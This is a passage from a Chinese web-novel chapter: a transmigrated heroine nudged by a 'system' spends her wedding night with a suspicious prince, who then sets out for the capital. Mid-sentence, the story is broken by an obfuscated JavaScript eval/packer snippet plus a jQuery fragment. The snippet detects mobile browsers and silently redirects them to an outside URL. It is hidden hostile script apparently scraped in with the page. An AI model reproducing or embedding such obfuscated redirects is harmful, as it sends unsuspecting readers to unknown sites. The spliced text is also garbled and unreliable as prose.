为什么要生气?
谁惹她了?
总不能是自己惹的她吧?
裴凛思索了一会儿,都没想明白到底是怎么回事,他只是去送宾客而已,没必要因为这种事情跟他生气吧?
“你怎么了?”裴凛走到沈楹身边问道。
“没事。”沈楹尽量调整了一下自己的情绪,虽然生气,可也不会对无关的人发脾气。
裴凛依旧听出来不对劲,他坐在床榻边上,同样有些不自在。
接下来要做什么,他自然是知道的。虽说他从未与女子亲近过,可在军营里跟那些士兵们熟了之后,都是一些糙老爷们,免不了听一些荤话。
沈楹接下来会怎么做呢?
一旁的沈楹到底还是不放心,又追问了起来,“金豆,你给我出来把话说清楚。”
她感觉自己受到了天大的欺骗。
当初金豆说的就是成亲,也没说要洞房。
怎么这会儿就突然说要洞房?可恨她没办法录下来,不然把证据砸金豆身上。
还有,洞房之后呢?
不会还有什么子孙满堂吧。要抚养孩子长大成人,看着孩子再成亲生子,然后抱孙子吧?
那为什么不一开始说让她寿终正寝呢?
骗子,这个大骗子!
沈楹觉得愤怒,感觉到自己被欺骗的怒气。
【宿主不要着急,我可以给你一点儿提示,你的剧本并没有正式完成,所以你不算完成任务,暂时也没有办法回到原来的世界。】
“你觉得我还会相信你的鬼话吗?”
【是真哒,我可是特别跟宿主剧透哦,你一定要完成剧本任务才行,你的剧本并不是很长,加油吧宿主。】
“你的意思是,只要我给裴凛洞房之后就能回家?”
屏幕上的字闪了几下,金豆这才说道。
【啊,反正你这个角色得和他在一起就是了。】
沈楹深吸一口气。
“累了?”裴凛开口问道。
沈楹被吓了一跳,睁开眼睛才发现,裴凛还在,就坐在她身边,两个人挨得很近,腿贴着腿,她甚至还能感觉到,隔着布料传过来的温度。
“你你你……”沈楹猛地站了起来,指着裴凛不可置信道,“你靠这么近做什么?”
裴凛一脸不解问道,“我们是夫妻,今日成了亲,挨这么近又怎么了?”
实则却是在注意着沈楹的一举一动,他想看看,这个时候,沈楹会不会露出什么破绽来。
总不会是真的想要跟他洞房吧?
沈楹深吸一口气,她不知道该怎么解释才好,她总不能说,先前她误以为自己会回去,结果误会大了,现在又多了个任务。
虽然是假的,可是她过不了自己心里那关啊。
“你、你回去睡吧,还睡我爹那屋,我……”
沈楹不知道该怎么说下去,如今她现在已经回家了,这些事情自然不需要她再烦恼,可偏偏她没走,面对裴凛,总有一种过河拆桥卸磨杀驴的心虚感。
她知道这件事情上是她不对,确实很对不起裴凛,可是她也不能真的毫无心理负担。
裴凛挑了挑眉,继续不动声色的坐在那里,沈楹的心情,其实都表现在脸上,可她奇怪的举动,让裴凛怀疑这一切可能都是她装的。
没有弄清楚她的情况之前,裴凛并没有放下自己的怀疑。
“娘子这是什么意思?这才刚成亲,你就要赶我走,我倒是无所谓,可是就怕半夜岳父他老人家会来找我。”
“你别瞎说,我爹都去了。”沈楹立刻反驳。
又安慰自己,金豆说过,它们的设定里,没有鬼魂的存在,自己不会被吓到的。
“反正不行,我还没准备好。”
“成亲都准备好了,你现在却告诉我,你没准备好圆房。”裴凛笑了两声,直接靠在床栏上,似乎是不打算走了。
“娘子,成亲可是你提出来的,着急要成亲的也是你,从头到尾你都在耍我是吗?”
沈楹更心虚了,耍他倒不至于,成亲这种事情,她确实有些冲动了。
可是,这也不能全怪她。
“我问过你了,是你自己答应的,我才着急成亲的,你若是不答应,我也不会找你。”
裴凛见她陡然理直气壮起来,一时间也好奇,“倘若我那会儿没答应,你又要如何?”
“你要是不答应,我便去牙行那里买一个,让他与我成亲便是。”
说罢,沈楹又嘀咕道,“早知道还是去牙行买了。”
不对,买来的也要圆房。
可她那会儿哪里知道后头还有个洞房的流程,如今真是里外不是人了。想起自己都同曹嫂子还有陶婶子她们告别了,明天看到自己没走,她们不会觉得她撒谎了吧?
裴凛耳力好,把沈楹的嘀咕听的一清二楚,一时间,心里浮现出一丝异样,那是一种不痛快的感觉。
甚至觉得有些荒唐,他知道沈楹举止古怪,可竟没想到,她居然还想着他不答应,就去牙行买男人成亲。
简直就是……不知所谓。
牙行那买来的,也是带了卖身契的奴隶,他可是堂堂的……
裴凛意识到自己在想什么的时候,也是一惊。
他在乎这个做什么,这个疑似细作的女子想要干什么,关他什么事。
说不定,这也是她的计谋之一。
裴凛心里,到底还是有些不痛快的,他干脆站起身,一脸嫌弃道,“你当我是什么,召之即来挥之即去吗?我裴凛也不是那种上赶着的人,你既然不愿意,我也不做那恶人。”
说吧,裴凛拂袖而去。
等人走了,沈楹顿时松了一口气。
若裴凛强迫行事,沈楹可能还会理直气壮,说不准招呼那陈员外的招数,也能对着裴凛使上一使。
可偏偏他没有任何纠缠行为,人的心理就是如此的奇怪,这会儿沈楹的愧疚瞬间涌上心头。
确实是她对不起裴凛,可如今她的所有东西都送了出去,就连剩下的银子和地契都给了裴凛,也没有东西可以送他了。
要不去跟他道个歉?
沈楹站在院子里纠结了一会儿,沈秀才的屋子里漆黑一片,也不知道裴凛是不是睡下了,她竖起耳朵仔细听了一下,也没什么动静。
她自己屋子里的龙凤喜烛还在燃烧,喜婆说了这蜡烛不用熄灭,须得燃烧到天明,寓意着新人一生顺遂。
借着烛火,沈楹卸下头上的装扮,脸上白白的粉还在,她也不能这么入睡,还是要去洗一洗的。
沈楹用布带把头发扎起来,去厨房烧了热水,澡豆也都送了,好在香胰子还在,讲究着也能洗一洗。
这洗澡还是不大方便,回头还要再去买一些才成。
洗了澡,沈楹一边擦自己的头发,又另外烧了一些热水,自觉找到了一个台阶,走到裴凛住的窗户边敲了敲。
“裴凛,你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17638253|202681||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
睡了吗?”
好一会儿,里头传来裴凛的声音,“又要干嘛?”
“我烧了点热水,你还是洗一洗吧,不洗澡就睡,得多难受啊。”
里头传了一声轻哼,就没有动静了。
这台阶裴凛没下,沈楹站了一会儿,便准备回房。
走到门口,裴凛确实从屋子里走了出来,身上还穿着喜服,看都没看沈楹一眼,目不斜视的走去了厨房。
沈楹原本都扬起了笑容,见裴凛没搭理她,便也收了回去。
她还是说了两句,“那个,你别生气哈,我这热孝期还没过呢,到底得给我爹守了这个热孝,不然我也太不孝了。”
裴凛回头看向沈楹,跟见了鬼似的。
半晌才道,“你爹知道你把他扯出来当借口吗?”
沈楹:“……”
真是对不起秀才爹了,尽给她当挡箭牌了。
见沈楹不说话,裴凛哼了一声,去了厨房洗漱。
看了一会儿,沈楹转身回了房,吹灭了龙凤蜡烛,上床躺了下来。这房子并不膈应,能听到有水声,应该是裴凛在洗澡,沈楹顿时安心了。
虽然裴凛看起来并不是很高兴,但用了她烧的水,坏心情应该算是缓和了一些吧。
这么想着,沈楹便睡了过去。
裴凛洗完澡出来,路过沈楹的房间,脚步顿了一下,再扭头看过去,一脸的不可置信。屋子里黑漆漆的,她竟然把那龙凤喜烛给灭了,她果然是骗子!
可惜暗卫一直没能找到她的破绽。
他就不信了,沈楹不会一直装下去的,到圆房的时候她不就是装都不装了。
裴凛轻哼了一声,耳边传来轻微响动,他扭头看过去,暗卫忽然出现,半跪在地,双手呈了一封密封好的信过来。
拆开借着月光看了,裴凛的脸色也沉了下去。
“明日派马车过来,准备启程回京。”
“王爷要带沈娘子一起走?”
“当然。”
且不说他们今日刚刚成亲,他把人丢下算怎么一回事。
最主要的就是,他想着,或许带着沈楹去了京城,她还会露出更多的破绽来。在这乡野之地,又能看出什么来呢。
沈楹是被嘈杂的声音吵醒的。
屋子外头都是人说话的声音,她揉了揉眼睛,脸上还有些懵。换了一身衣服之后,这才出门。
还没等她明白怎么回事,就看到门口停了一辆马车。
沈楹几乎怀疑自己看错了,闭上眼睛再睁开,确实是马车。
大家都围在那马车周围看着,村子里见过骡车牛车,马车确实很少见,更何况还是这样的高头大马。
沈楹没过去,她漱了口洗了脸,这才凑了过去,好奇道,“这是谁家的马车?”
“是裴郎君家里来人来,说要接他回家。”
说到这里,有熟悉的人,忍不住打趣起沈楹来,这昨日刚成亲,裴凛要走,自然是要带着沈楹一起的。
这样的高头大马,县城都少见,有人猜测,至少也得大几十两银子。
假扮成车夫的暗卫默默听着,并未开口告诉这些人,这都是上等的御马,价值千金。
也是主上吩咐要低调,才安排了这样一个青幄马车,倘若摆开阵仗,这些闲杂人等,都是不得近前的。
暗卫沉默的站着,裴凛也从屋子里走了出来,见着沈楹站在人群里,跟以前没有任何变化,还是编着两个麻花辫。